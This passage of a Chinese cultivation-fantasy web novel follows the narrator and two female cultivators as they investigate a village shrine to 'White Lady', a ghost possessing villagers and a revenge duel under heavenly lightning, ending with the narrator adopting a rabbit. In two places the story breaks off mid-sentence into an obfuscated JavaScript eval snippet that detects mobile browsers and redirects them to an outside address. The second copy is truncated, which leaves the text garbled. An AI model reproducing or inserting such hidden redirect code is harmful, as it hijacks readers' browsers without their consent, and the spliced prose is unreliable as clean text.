天空落下一道雷,正落在蓝衣女修身侧,她被雷扫到,打了个趔趄。 云间月和人群都被这声惊雷镇住一瞬,人群更加激动,高呼着,“这是白娘娘为我们撑腰!!!!”对云间月蜂拥而上。 蓝衣女修抬头看天上还要落下的雷,再飞快四处看看,我后退半步。 她看见我了。……也没有? 她视线在我站立的地方凝固一瞬,我不知道她表露出的惊讶是对天雷还是对不该出现在记忆中的我。这段记忆应该是从云间月和她那边共同截取而成。她不该看见我。 果然是错觉,蓝衣女修看的不是我,而是在打量逃跑路线。 她怕雷再劈中人,挑了条没人的小路,往村子后方无人山中疾驰奔逃。 我心说……要坏事。 身后云间月终于摆脱村民,急忙随追,但蓝衣女修和她修为差不多,谁不比谁快,云间月怎么追也还差一大截。 蓝衣女修往山林中一处山洞跑,想避一避, 她身侧不断有雷落下,直接把树木劈成焦炭,眼看就要跑到洞口,忽然一道比先前所有都要亮的雷砸在山洞前,蓝衣女修收不住势头正好与雷相撞,把雷撞进了山洞,一时白光遍布整个天地。我不得不闭眼。好像……看见她在与雷相撞的瞬间扔出什么白色东西。小小一块。还是那是雷的反射? 再睁开眼, 云间月赶来,白光消失,山洞口焦黑一片,大块小块石头堵住洞口,那里……哪还有半点人影? 我……我浑身冷汗直冒。 这就是,死无全尸。 主……主角团到底是何方神圣能抗住这么大的雷,最后与女主一同登上神界? 太可怕了,娘我要回家! 【宿主……宿主……宿主!】 直面雷击的恐惧使我久久不能回神,系统叫我好几声,我才从眼前铺天盖地雷光中回神。 荷乘蕴还在和云间月对峙。 我走到她身边,手落在她肩膀,凑到耳边低语:“你……能不能抗住雷击?” “有防备的话可以。”她奇怪我为什么这么问。 我指向头顶。 “你是说……”荷乘蕴看一眼天上。 我点头。“跟我来一下院子。” 院中,我和荷乘蕴面对面站着,见她准备好,我开口: “之前我问云间月将来要杀死的黑衣散仙是不是……” 哐当!!! 这道雷,来的比上次还快。荷乘蕴抽刀断水,一下把雷打回到高空,雷在空中四分五裂炸开,天际白光巨响齐发。 我和她站着,说:“云间月身上招惹了东西,几天前在宿舍引来狂风暴雨,几名长老合力也没能拖走雷云。” 荷乘蕴想了想。明白什么。 她沉默:“……我知道了。那我总得恨一个吧。我就把目标换成那个追着她的东西好了。” ……她也是,很不怕死啊。 真是,一个两个,怎么就这么执着。看来除非能让荷乘蕴再次见到死去的人,否则这件事永远没有结束。 “我们走吧,荷乘蕴也会跟着。”我回到房间和云间月打招呼。 云间月没说不同意,我当她默认,去柜台和伙计说破坏家具的事。 伙计对这事见怪不怪,笑呵呵递来一张价格表, 我问:“这事常有吗?” 伙计收了钱,“这里荒郊野岭,过路人往往是修士,有时打斗起来屋顶都能掀起老高,但有官府律令压着,破坏了东西要按价赔偿,正巧一号房的客官刚走了,几位客官也不再回来,小店今日没有住客,方便闭门扫除,几位慢走。” 我和云间月骑马,本以为荷乘蕴会使法术飞行,没想到她飞身上马,侧坐着,抱住我腰,眼波扫我:“走吧。” 对嘛!这才是自然的眉目传情,又飒又艳,云间月那种就是不对,让人直起鸡皮疙瘩。 云间月引着我们往山下走,到山脚处,我看见熟悉的村口大门。 这不就是记忆中那个地方? 现在正是秋收时节,路过田间也看不见村民来秋收,农作物就在烈日下暴晒……之前客栈伙计说过,这里村民犯了事,被官府抓走。 犯什么事才能连抓两个村子的人? 云间月牵着马,什么也没说,径直走进去,在不显眼的地方栓好马。 以往有村民在时,村口肯定有人把守,现在没人了,反倒显得秋日里的太阳天高云淡,带着秋老虎的炙热,更显得路两旁空空荡荡。 这村子,就像是空村,半点人影没有。 云间月用法术喊出声:“有人在吗——?” 声音传遍整个村庄。 旁边某间屋里忽然探出个小脑袋,接着,又是几个小脑袋接二连三探出来。 全是小孩。 最先探出脑袋的孩子看起来年纪最大,不到十岁,孩子一声惊呼:“修士来了,大家快去白娘娘那!” 小孩们尖叫着鸟兽散,往村子后面奔逃,其中一个年纪小的自己跑摔了,落在后面,吓得哇哇大哭。 云间月会些治疗法术,正想上前为小孩医治, 就在这时,我们身后,村口又传来一声惊呼: “良良!” 一个灰衣女子踏进村口,一只手提着个油纸包,跌跌撞撞好几步,腰背弯着,另一只空着的手下意识举起,似乎手中这时应该有东西支撑着走路。这么一看,女子好像也受了伤,她发现我们在看她,觉得不妥, 慢慢挺直了身子,脚步也迈开了,越过我们走到那摔倒孩子身边。 “良良!”她继续叫,但没有立刻蹲身去扶小孩,而是艰难挪开步子,扶着腰慢慢弯下去,整个人大喘气似的坐着,连油纸包摔出去好远,落在田埂边上了也没注意。 那孩子好像不太认识她,毕竟看着只有四五岁。 女子关切地抚摸孩子的脸:“良良,我是你隔壁的香姐姐,快告诉姐姐你有没有事?” “香……香姐姐!”孩子记起来了人,扑进大人怀里直哭:“婆婆去世,大人们都走了,又有修士来,呜呜呜姐姐我怕……” “不怕,不怕。姐姐在这。”女子温柔慈祥抚摸孩子脊背,像上了年纪老人那般熟练哄着幼儿。 “你……你受伤了?”云间月问那女子。 女子冷冷瞪她一眼:“女仙,若是没旁的事,就不要再来了,这里有白娘娘坐镇,你们伤不了我们,更何况我们剩下的都是些孩子,也害不到您。真要对我们赶尽杀绝么?” 云间月看女子还能挺直腰说话,看着不太像受伤,就转头看那个孩子:“她受伤了。我可以帮她医治。” “敷药一样会好的!”女子抗拒一般,对云间月低吼。 “姐姐……姐姐我痛痛!手痛痛!”孩子两只手上糊着血泥,刚才摔倒擦破了手。 云间月在孩子张开的双手间释放一个水色小光团,水落下洗干净孩子的手,那双手白白净净,再没有伤痕。 “好厉害!”孩子拍着手高呼,咯咯咯笑开,“你真的是仙人!” “这样如何?”云间月说,“我的目的并不是来为难你们,是因为官府——” 女子急切打断她:“是是是,因为官府委托你们清理白娘娘,那之后先是来了个修士,非说我们被邪术蛊惑,邪术还会传染,必须清除才行,正打算屠杀我们时,白娘娘亲自出面和那修士对打,打跑了修士,才没有人死去,她还给我们草药治伤,根本不是害人的坏东西,你们为何次次揪着她不放?真要她魂飞魄散才甘心么!那你们这群修仙的和恶鬼有何异,善恶不分,苍天有眼定会降下雷来劈你们!” 我心头惊讶,巧不巧,云间月身上这雷根本没断过。也不知是亏欠了苍天多少。 云间月不计较怒骂,继续问:“我上次前来,这里……这里还有许多人,听前面客栈伙计说是两个村子都犯了事,被官府抓走了,可否对我说说?” 女子语气稍微好了点:“本就不是白娘娘的错,这附近两个村子……就叫前村和后村吧。前村离山远,我们后村就在山脚下,白娘娘最近一段日子住在山里我们都知道,她从不曾害过人,前村人上山回来非说山里闹妖精,通报给官府,官府就找了你们来。” 云间月这回终于明白:“所以你们才一直拦着我动手调查,那……那我总得对官府有个交代,你可知道白娘娘实际上是什么?” “我们也不知道白娘娘是什么,只能见到一团白影子,她护着我们,那就够了。”女子抱着良良起身,但是抱的姿势有些头重脚轻,自己晃了晃,稳住脚步。 云间月还想继续问,我眼角余光忽然看见在田野间有个黑色毛绒绒团子动了动,一嗅,一嗅,跑到那个油纸包附近,好像在用毛绒绒小爪子扒拉油纸包绳结。 我往旁边挪了两步,刚好挨到田埂边上。 嗯…… 是一只,黑色垂耳兔,仔细看,不是全黑,是只黑大于白的小花兔,普通兔子。正在油包纸附近费劲抓着绳结。 我悄悄伸出手指,勾住绳结抖开,油包纸里面是几块糕点,小花兔凑上去闻,我趁机—— 摸了摸它。 “花兔兔。” 因为怕它蹬我,我没有摸太久,就轻轻碰碰。 “你好可爱,花花的,还有垂耳朵。” 我以为它会跑。它没有,闻了闻糕点没吃,背对着我,耳朵抖了抖。 我一时无法控制,把小花兔捧起来,心想,要是无人养的就好了。 “姐姐给你蒲公英吃,跟姐姐走好不好,你颜色好可爱,小毛绒绒。” 我一直好想养毛绒绒,但从前和小姐住里外间,不合规矩。现在我自己住一间,完全可以养。 “那是野兔。山里野兔许多,没有人特意养它们,遇见了也要猎来吃肉,是这几天村里没了人,否则不会有野物跑进来偷食。”女子抱着小孩,一步一挪走着,把孩子送回屋里,然后又重新出来,慢慢走到云间月面前,“你们还想问什么?” “这里的村民,是怎么回事?” “哦,”女子不太在意的样子,“就在你们走后,我们村的听说是前村报的官,原本两个村子就不太和睦,被修士要杀我们这么一闹,村长认定是前村陷害,夜里带人拿家伙上门,两个村子的人对打起来……死伤不少。唉,世事无常……村民互殴,这等大事传到官府,官府以聚众斗殴为由,把两村人全抓了服苦役,尸体在衙府停着,孩子们被留下来,安排人定点送饭水,中午就会有车过来了。” “你怎么在这?”云间月奇怪。 “我没参加斗殴,这孩子是我邻居,事件发生前些天刚死了唯一的亲人阿婆,她还这么小不能没人照顾,当时斗殴吵得很凶,我料想官府肯定要捉人,就提前跑出去躲着喽。” 我问系统:「云间月……她上一世不知道这些?」 【上一世这事她本身就不大清楚,她在中药平息后抽时间来过这,但一无所获,那时村民被放回来,白娘娘,也就是追着她的那东西,根本没见着。她去附近官府汇报这件事,也算承接的委托有个结果,然后就回门派了。】 「那原作里呢?也没说?」 【呃……】系统犹豫。 「怎么?」 【宿主,你最好别知道原作内容。原作现在是废纸一张,这个时间登场了无数男性配角,作者本人希望故事中的女性角色吃很好,知道这些就够了。】 我瞬间秒懂。 原作很像是我看的那些资料,办事途中穿插剧情。真有后续也会一笔带过,现在故事成真,世界生出自己的逻辑,该发生的只会比原作中更加全面真实,原作确实是废纸一张,可以依据的只有女主前世记忆。 幸好女主前世一心成神,对那事不感兴趣。 我也没问为什么原作中女主破戒胡吃海塞还能问鼎神界,她是女主,有各种机缘太平常了。 「好。」 我深呼吸,把小花兔放回去。 那什么,拐走也得尊重它的意愿。 “但你不能吃糕点啊,像你这么小吃给人的食物会死的。”我把糕点收走。 小花兔跑进田埂,身影在草丛间动了动,消失不见。 “能去白娘娘那里看看吗?”云间月问。 女子一指村后的土祠堂,“我怎么拦得住你们,要去便去,就在那。也没有雕塑,临时供奉的牌位,孩子们会把自己的饭食分出来点放在那,这糕也是我带来供奉的,你就放过去吧。” 于是我们跟在云间月身后穿过村子,来到土祠堂前。 这只是个有窗户的小土棚,立着白娘娘牌位,牌位前有几个陶瓷碟子,是空的。 云间月惊讶。 她似乎以为……追她的东西盘踞在山里,应该不会轻易下来,没想到也会来村子吃供奉吧。 之前一哄而散的孩子们躲在附近房屋墙角背后探出头看我们。 身后一直静观其变的荷乘蕴忽然有了动静。 她拿出一大把糖放在墙上,“小娃娃们,我把糖放在这啦。” 这语气和她平时说话都不太一样,娇娇柔柔的,有点夹。 糖在城镇中也是很稀有的东西,更别说在这里偏僻村落。 那些小孩一开始犹豫,但这件事一旦有人开头,十几个孩子全跑过来,在那你呼我喊地拆糖纸。 我猜……荷乘蕴喜欢甜味香水,平时也喜欢吃甜食,这种有包装纸的糖不便宜,她是做到门派长老的修士才能像这样买来给自己吃。 云间月把糕点放在碟子里。 荷乘蕴悄悄跟孩子们打听白娘娘的事。 大部分孩子摇头,嘴里塞着糖说没看清到底是什么,但她们在修士来打那天的确看见有一团卷着风的白影子赶跑了修士,一阵风过去,还给村长留下药材。 那个最大的孩子看看荷乘蕴,小声开口: “我……我前几天夜里路过祠堂,听见白娘娘说过话。不知道是不是真的。说不定是我做了梦。” 荷乘蕴语气温柔:“那你说出来,也许我们能帮白娘娘完成它的愿望,它一直在这里,官府说不定还会叫人来捉她,对不对?” 她这张脸做出慈母心肠时实在太有迷惑性,大孩子都快叫她“娘!”了,眼泪汪汪的。 “当时我在祠堂前面,听见里面有人叹气,一定是白娘娘。我就问她为什么这么伤心。” “白娘娘叹着气说,这片区域有个违反界规的鬼,附身了附近几个村子的村人,天天换人叫她没办法捉,这样下去会引来天雷,她才一直在这里守着,不然她就去该去的地方啦。没想到那该死的修士引来天雷,劈她洞府夺走她几十条徒儿性命,害得她无家可归,她顺着轨迹去杀了那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16663806|186020||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 修士满门,仍觉不解气。但她还要守在这里脱不开身,所以才叹气。” 孩子望一望荷乘蕴:“白娘娘好可怜啊!徒儿都死了,家也没有了!它肯定要哭的!” 荷乘蕴似有动容,摸摸那孩子的头,低语,“是吗……它的徒儿也死了……” 我大概清楚怎么回事。白娘娘徒儿的命也是命,云间月门派加上荷乘蕴的徒儿亲友没能抵上,白娘娘自己脱不开身,世界在替白娘娘讨,除非云间月能把她亏欠的补上,否则……宿舍还是不得安生,上次是有长老护着才没闹出人命。 「……这可怎么办。」 【宿主,这事和您无关。您不理会就好。】 「偷懒是走不到终点的。」 我眼看云间月默默供奉完了点心,脸上完全不见生气,一点反应没有,要是她像荷乘蕴一样是个暴脾气,找白娘娘打个你死我活,这事也会过去,白娘娘……应该,很恨她吧。 它在找……鬼? 荷乘蕴对我招招手,我凑过去。 “白娘娘应该是妖。”她压低声音说。 我:“不可能是魔么?” 荷乘蕴下意识普及知识口吻:“人界和妖界之间有和平协议,修炼成人形的妖可以通过界门前往妖界。但人魔积怨已深,因为人界恶念积聚容易诞生出魔,魔族比人族更加强大,在人界修士往往倾向于杀死自然诞生的魔,不会放它们回魔界为魔主增长战力。恩怨就这么积攒下来,滞留人界的魔平时不会轻易出来,更不会让自己被许多人看见。而且……在人界修炼而成的妖,往往都很擅长入梦术。在更加愚昧的时代能当个土神仙,现在也有人信,这个传统就这样保留下来。” “那这个孩子……”是被妖作祟了?我知道入梦术是用托梦故弄玄虚的蛊惑人手段,但是白娘娘为什么要入这么小的孩子的梦? 荷乘蕴神色和缓,并没有太多对白娘娘的憎恨:“这个孩子应该是碰巧和白娘娘的梦同频,就算不是修士每个人身上也携带思绪能量,极为巧合情况下能够频率相同,白娘娘没意识到她的思绪多到让梦境泄漏,不然这个孩子不会对这件事记忆模糊。这只是个偶然,不算被妖物作祟。” 也是,要是被托梦的人都记不清梦里发生什么,还怎么被蛊惑。 “你要帮忙。”我意识到荷乘蕴想做什么。 她小声说:“我……打算先帮帮这个白娘娘。一码归一码,等它的事解决了我再寻仇。” “要先到找附身的鬼?” “找,鬼附在活人身上不好分辨,但总会有蛛丝马迹。” 我问:“鬼……那得是什么样的鬼?” “要附在人身上,多半是新死的鬼,生前心愿未了,在死的瞬间生出恶念,才有机会停留人界。而且,不能是突然死的,没意识到自己死了,哪里有机会留下思绪变鬼?就是说,这鬼知道自己必死,但无力扭转……”荷乘蕴看我,“你们开课还没讲到这里么?” “没有,”我摇头,“之前下了场大雨,连掌门都在研究怎么加固结界,下完雨还闹虫子,课程被耽误了。你继续说。” “我猜,鬼多半是被寻仇来的。”荷乘蕴缓缓吐出她的结论。 “那这两个人村子打架死了不少人……平时关系也不太好,会不会,就是死了的哪个?” “有这种可能。但也仅仅是有。无人指导就能学会附身术的鬼,多半有修行天赋,生前未必是普通人。” 我一时有所感悟:“那我们查查这里官府记录的档案,是不是从前哪个修士?” “那可不能去官府,你稍等,我去万鲤宫买个消息。” 荷乘蕴说走就走,她出门一直佩刀,踩上瞬间就飞远了。 听说,有些法术只有仙才能用。比如,避尘,凌空飞行。凡人用了会招致雷劈,不光如此,修士聚集的地方,也容易出现能量波动,引来晴天霹雳,像是门派各个山头设有柱阵引雷旗,把雷导入到地下……云间月引来的雷,引雷旗不招。 是因为……那是只针对她? 云间月主动走向我,她问: “我觉得,这很新奇。之前这时候,我从未来过这里。你……还好吗?” “我?我很好。”我不知道她为什么这么问。 “那就好。”她放心了似的,点点头。 我,我有什么不好的? 【那个……宿主的确有点不好。】 「不,现在不要听。」 至少我的态度十分坚决。 “你要怎么办?” “等。等到傍晚。” 我和云间月安静等待。她心有所感似的回头。 祠堂里——她供奉的糕点不见了。 种种迹象表明,这里,真的存在着白色的妖。 送饭车停在村口,下来几个妇人模样女子,把饭菜分给孩子们,站在一旁聊天,倒是没有进村口,也没发现我们在里面。 我悄悄听了听。 原来几人是官府衙役的亲眷,正在讨论这件事。 “不知还要多久……总这样下去不是办法。” “我家那口子说就快了,只定了关上半个月,两个村子的人死得将近一半,听说城主正愁呢。” “还能有什么办法,菜得收,地也得种。估计是要合村哪。” “还真别说,有这种可能。” “听说有好几个孩子没了家人,哎!是不是少个孩子?最小的那个女娃娃呢?”说话的妇人左顾右盼,似乎要从村口进来,我用眼神示意云间月要不要用结界隐匿身形,云间月点头。 我呢……每种法术都会使。根据情况,需要什么就用什么,说不定连治疗法术都行。 但我最擅长的…… 是隐匿行踪。消除气息。我观察过莫莹绣使用的结界,尽管她没教过我,现在我能施展出三分,就是说在众多外门学徒中,没有长老在,除了云间月这种有底子的,应该没几个人会立刻发现我在。 云间月没我这么精通结界。 几个妇人往村里面走,“我记得是这家……这孩子也可怜,婆婆上山时突然发病没了,又摊上村子遇到这事,多可爱的孩子,说不定要送到哪处安养院,如果不是我家孩子多照顾不过来……” “哎!”另外几个妇人问刚刚找孩子的妇人:“看你这么关心,你家不是一直念叨想要抱养个女儿么?” “这……我和我家那口子是有想过,我们年过四十没有孩子,但村人未必肯啊。” 这几人聊天声音比较大,渐渐不用法术也听得清, 原本在小孩屋里的年轻女子从后门出来,看我们这边一眼,溜进树丛里不见了。 云间月也看我。 我:“我用了结界。” 怪事,这不就来了。 几个妇人进屋子,还纳闷:“这孩子看起来像是刚睡着,衣服也换过新的?” “可能是大孩子给她换的吧,她们刚刚不是还说有仙人来过。” “这村子里没人啊,她们还说有个白娘娘。我们一个也没见着。” “要我看,说不定就是两个村子积怨已久,随便弄了个说辞……这两边不是因为分地不均,一年到头都在吵么,衙门没少拉架。” “哎哎,走啦?看你这么喜欢这孩子,留在这看,不如尽力争取抱养回去。” “就是啊,两边村子减员不少,估计没有余力多养活娃娃,我们姐妹几个一起帮你做说客,试试呗,没准就成了。” 几个妇人从屋里走出。 “那敢情好!先谢谢各位阿姐阿妹,要是真能收养这个娃,你们都是娃的姨!” “好说好说,这就回去帮你打听。” 妇人们从孩子那里收走碗碟,送饭车离开。 剩下这些孩子最大不超过十岁,吃饭后无事可做,大孩子带着小孩子回屋里睡午觉。 又过没一会,荷乘蕴从天而降。 “刚刚看见送饭车了,看来这会功夫没出事。档案,看看?” 荷乘蕴拿来的档案是手抄纸张。 上面记载,差不多八千年前,驻守这里的地方官员家有一女,名为南善。曾进入门派求学,后来学有所成,安置全家在本地养老,因其喜欢动物,宅院中多见奇珍异兽,百姓对其印象深刻。 这些年间,附近只出过这么一位修士,在门派档案上留下记录,除此之外就算有,也是没有真正拜过师门的散修。 “这位南善修士,后来呢?”我顺口问。 “资料上面没写,就是说不能确定。但……我听其它消息说,这个女修后来是死了……好像是得了什么奇怪的病,无法医治,加上她本身精神不太好,说她是不堪痛苦自我了断。” “这样啊……”又是一个没有下文的遗憾故事。 “现在寻仇的面更大。”荷乘蕴说,“门派之间一般默认三十年后仇怨一笔勾销,仇怨双方再互相追究就按规定处置,散修不像正规修士有门派规定约束,容易结仇,也更容易寻仇。你们怎么看我?” “那个鬼就在你身后。”我说。 18.仇恨的末路 荷乘蕴身后,年轻女子跑了回来。 她这时——才意识到自己已经露出马脚,再装作看不见我们也已经太迟。 我们所有人都看她。 她说:“说不定是我天赋异禀呢?” 云间月:“你这几天,不会住在村子,这附近只有一间客栈。这里荒山野岭很少有人经过,有可能你是一号房住客。” 荷乘蕴打量她:“上午客栈伙计说一号房住客前脚刚走,我们骑着马来,路上并未相遇,你一个普通女子,怎么会脚程和骑马一样快?” 年轻女子哑口无言,她似乎也倦了,或许她并不在意我们。 下一瞬。那个鬼从女子身上脱离出来,黑色半透明一团,忽聚忽散飘在空中。 黑雾凝实了些,隐约可见一个老人身影。 我紧张,做好准备开战。 “这是另一桩仇怨,你插手,只会被雷击中。”荷乘蕴完全没有动手打算。 云间月也没动, “来了。” 日光最强烈的时候,村口出现一人。是的,只有一个。 身形是女性,深红色衣服……不,那是,一件血衣? “看来已经超过时间……”荷乘蕴叹息,“三十年过完,她再寻仇,恐怕现在榜上有名,上了执法队通缉令名单。寻仇成这样,那就是什么也不在乎,只为报仇来的。” 红衣女修看见我们,我们意思应该很明确,不上前。只是旁观。 “有个见证也好。”女修不屑哼声,“你,变成鬼了啊。真没想到。” “你要杀我孙儿。我不会让你下手。”老人的身体比刚才更加凝实些许,却不怎么愤怒,“我女儿已经去世……罢了,她欠你家三条人命。你要我死,我认可。” “一命换一命。”女修冷笑,“既然她已死,想来也是这些年作恶太多遭了反噬,念在你不知情,我公允些算她一命,你和你孙儿的命加起来正好。当年若不是她杀我双亲和长姐,我怎会险些沦落风尘,迫不得已走上修行之路,都是一报还一报。” “我不会让你伤我孙儿。” 老人彻底凝聚出实体,黑色蔓延流淌到地面,花草枯萎。 红衣女修没有退。 红黑两道身影撞在一起,血液和黑雾泼洒出来,地面如同被火焰灼烧,冒出丝丝黑气。 “……”荷乘蕴摇摇头,“鬼有分级,杀百人以下者需在鬼界赎罪,千人以上者投入万鬼哀嚎窟,万人以上者堕入窟底炼狱。她这样下去,只会吸纳世间恶念,失去神智变成恶鬼开始害人了。” 天色不知何时黑云压顶。 “她这算是滞留,鬼界……就没有鬼差一类,带人过去?”我不知怎的想起这一说法。 “听说十万年前有过你说这种差事,你故事看太多,现在负责执行的是各界界规,滞留的鬼本身抵抗世界规则,撑不了太久,能撑久的往往是大患,需各门派联合起来剿灭,或者扭送鬼界。” 头顶隐见雷光。 云间月动了,她仿佛拉弓射箭,以看不见的弓箭对准天空厚重浓云,两条手臂紧绷得衣袖飒飒作响。 “……”娘耶,这还有个不要命的。 荷乘蕴意味不明啧啧两声,“要是这年纪的我,现在早就跑啦,一代比一代不要命……喂,”她叫我,“引雷旗阵,会画不会?” 我摇头。 “那你看好。” 天色黑得看不见人,荷乘蕴双手结势,纯红的光是天地间一抹赤色,在黑气中不断散发热源。 她直接把契约符号打在地上,岩浆一样的能量在土地沟壑间流淌。 我试着画出同样符号。 我的能量是黑色,和黑暗融为一体,“云间月……对着她来的雷,引雷旗不招。” “所以她自己扛,我们不一样。”说话间,荷乘蕴画完十几道契约,算上我的,地面上布满流动能量的河。 场所正在扭曲,道路变得歪歪斜斜,银色太阳的光飘渺,弥散雾气。 然后所有光浓缩成一个点,天地变色,昏暗笼罩视野。 那个点,爆炸开来。 那一瞬,我看见云间月双手弯弓射箭,蓝白色能量在她周围汇聚,生出千万朵透明的花,花朵绽开,每朵花是一根线,射向黑云。 黑云因此破开裂口,向旁边涨开了些。砰!!!!天雷终于落下。云间月站在裂口下,看着无事。 雷电与我们擦肩而过,打在地上。我又一次——直面这种恐惧。 田埂间,浅浅白影挪动。 “那只兔子怎么还在这?!”雷光打出火花,我跑向那只好像突然出现在田埂间的花兔。云向四周涨开,会波及到它! “喂!”荷乘蕴措手不及,没能抓住我胳膊。 我穿过了几道闪电。不知道怎么过去的,或许是踩着风。 一道雷在我面前留下焦炭痕迹,某个瞬间,我似乎看清楚,雷由无数个,数不尽的微小契约组成。仅仅一个指尖,就能容纳数百万道契约。 契约符号刺入我眼睛。我牢牢记住它样子。 “你不要命了!”荷乘蕴打飞几道雷,抓住我。 我抱住了兔子。 我们一起滚落到田埂中去,泥水满身。 与此同时云间月打散乌云,她被雷劈得不轻,不知是死是活倒在地上。 四周,除了我们,鬼和女修……通通不见。 雷只在田埂这边劈中少许田地,其余都被引雷旗招走,天空哗啦啦下起大雨,冲散我们身上泥水。 “鬼……”我还想找找, “它自爆了。引爆灵魂中的能量,一命换一命,两人都没有去鬼界。魂飞魄散。”荷乘蕴仿佛见惯这场面,没有因为触目惊心的事实而动容。 “……我学到一个道理。”我说。 “仇恨的末路?”荷乘蕴上前查看云间月伤势。 “是斩草要除根。”我没在云间月身上发现任何伤口,匪夷所思。 【她没有受伤。】 「你在啊。」 【在观战。有用信息很多,正在为宿主刻录本世界战斗方式。有助于宿主举一反十,早日成为战斗达人。】 「……」 “真奇怪。这人。”荷乘蕴看起来在怀疑自己的眼睛,“她被雷劈成这样都没有伤口,世界……是得多爱她?” “……”我对这边也沉默。 “那看来,我徒儿的死,和她没关系,是我徒儿学艺不精,不然凭什么她能抗住,我徒儿扛不住。我那几个亲友估计也是这么没的。学艺不精怨自己,不该由我报仇。”荷乘蕴接受了事实。 她放下得如此之快,反倒让我有些惊讶。到底……是怎样的人生经历,才会让她有这副洒脱性格? 【宿主,你成功了。荷乘蕴现在的能量,是白色的。只是,您对这个结局——真的满意么?】 我看着云间月转醒:「本就没有最好的结局。」 至始至终,那位白娘娘没有出现过。 我把小花兔放到地上。 “你好可爱,要不要和我走。如果你向我这边来,我就当你愿意了!” 【……宿主,动物听不懂人话。】 「我这是发花痴。」 小花兔四处闻闻探探,小小一团,垂着耳朵,毛绒绒。 “你要不要和我走呀~如果你跟我走我就当你同意了哦~” 我随手抓了把草。暗想,过一会我就说,是它自己愿意和我走的! 没想到,小花兔闻着味道过来,它没跑。 它好像很喜欢我!一定是的! “那你跑不了啦!” 我兴高采烈抱起兔子。 一抬头,云间月看向我这边。 不对,她……是在看兔子? “不给你哦。”我说。 “……”云间月没说话。 天空放晴,用法术烘干衣服。正是下午好时候。 我和云间月骑上马。 荷乘蕴挥挥手,“我留下看着点这边,看看后续,倒下那个姑娘我送去医馆,附身时间很短,应该不会造成太大损伤,我会持续观察情况。对了,”她叫我,“褚灵佑——!” “我还会去找你的!” 摆脱了死亡结局的她,明亮温暖。 “好啊。”我也不介意多个朋友。 回程路上,我们骑着马,我给云间月慢慢吹奏那首歌。 疾驰中的世界颠簸,风吹得云间月长发飞扬,吹过我吹出来的音调,带给云间月。 她沉默听着,一句话不说。我不知道她为什么执着于一首没有歌词的歌,可能是这首歌很好听吧。不然我也不会记住这么多年。一些悠扬的旋律就是会让人第一次听见立刻爱上,自己也想学会唱。 不是多奇怪的事。 傍晚时,我和云间月抵达门派山下,我们还了马,我想顺路招呼她坐缆车上去,却见她自顾自闷头爬阶梯。 爬得很快。 我无言追上。 云间月的确难以捉摸,但好在我们不是朋友。总觉得她有什么话对我说。 在山门前,我追上她,拦在她面前, “你不说我回去了,娘和小姐还在等我。” 她缓缓:“你听我说就行。我从前,也见过这只兔子。那之后,并没有发生什么。” “你怀疑它是妖?” 云间月摇头,“我没这么说。” “我觉得不是。它只是只普通兔子。你看。” 我特意找了背篓装兔子,里面放了软垫,填充得满满。 小花兔已经睡着了。这就是一只不怎么大的普通小兔子。 而且…… 真有问题系统也会提醒我,系统都说了这是动物。它不可能是妖。 【宿主啊,我说的动物未必是你想象中的动物。宇宙种族奇奇怪怪,兔子也有身高三米门牙啃穿金属板的,但你这只,真的是动物。它身上和其它动物一样,没有能量颜色。】 “你这么认为就好。”云间月丢下这句便走。 “明天见!宿敌!”我故意喊这句话逗她。 云间月头也不回。 我心情大好,一蹦三跳地抱着我的小兔子往家里走。 【问个问题。如果有一天自己和想要拯救的人只能活下来其一,宿主怎么选?】 系统如约来问我。 「……」 后悔是留给时间不再,即将走完一生之人来说。倘若活不到那时……说后悔何用。 「我不需要那样的世界。就算我活着,我的世界空空荡荡,我不会快乐。反之,如果娘和小姐认为失去了我她们也不会快乐,那我们就一起走。我不信轮回转世,就,不能同生那就共死,没有来世也没关系。人活一辈子应该感到高兴,而不是像尸体一样活着。既然真的再也没办法开心起来,我接受死亡作为结局。」 【宿主不会后悔,不会憎恨?】 「至少现在不会。我刚见过仇恨的末路。」 【好,换个话题。】 我莫名有种不好预感。 【那个药对宿主也有影响,宿主会定期产生需求。然后宿主亲口承认喜欢女孩子……】系统这话欲言又止的。 我……有点懂它的顾虑。 「我顿悟一个道理。就只是,我是个色鬼罢了。会让我觉得可爱的我都喜欢。其实这事感觉还不错,神清气爽。嗯,以后可以有,我接受它不定时发作。但是系统,」 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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【我,我……】系统自己嘀咕,【我也是害怕……害怕宿主对我兽性大发……我们统都是没见过那事的……就算储备量丰富,可是统们连人都没做过也不会有做人机会,不行,为了宿主292豁出去了!实在不行宿主就把对女主的渴求转移到我身上,我会一声不吭默默承受,绝对不会让宿主的兽行被外人知晓!】 我一巴掌拍在自己脸上。这话……这话也就没做过人的系统说得出来,看得出,它确实是认真为我考虑,就是这样才吓人。 「系统……」我幽幽开口,「傀儡对于活人来说,相当于一个死人。就算再好看,也是死物。我没有这种癖好。」 【这什么话?】 没想到系统万分惊讶。 【就是一个娃娃,这些娃娃被制作出来受众就是像宿主这样有需求但是不想麻烦别人的人,系统只是单纯不想真的知道这种事如何操作罢了,但是为了宿主,292赴汤蹈火,必定及时钻进壳子里拦住宿主。宿主只要会催动傀儡的法术,把傀儡带在身边就行了,随时随地,不怕突然发作!】 哦。科技社会。 天哪,怎么有人会生活在那种不可理喻的世界?! 我捂着头呻吟:「你说的我都懂了……我再考虑考虑。」 · “泉三,出去啊?” 出门时,同事周何抓住她胳膊。 “都说了别这么叫我。” 豆豆眉的女子一脸认真。 “哦,没别的意思,要去喝奶茶的话帮我也带一杯。” “你自己去买,我要出远门工作。” 周何一脸惊讶:“泉三,你……你可别像上次那样,工作出岔子不说,差点回不来,还是组长亲自出去带你回来的,那之后不是说让你看着能量读取器么?” 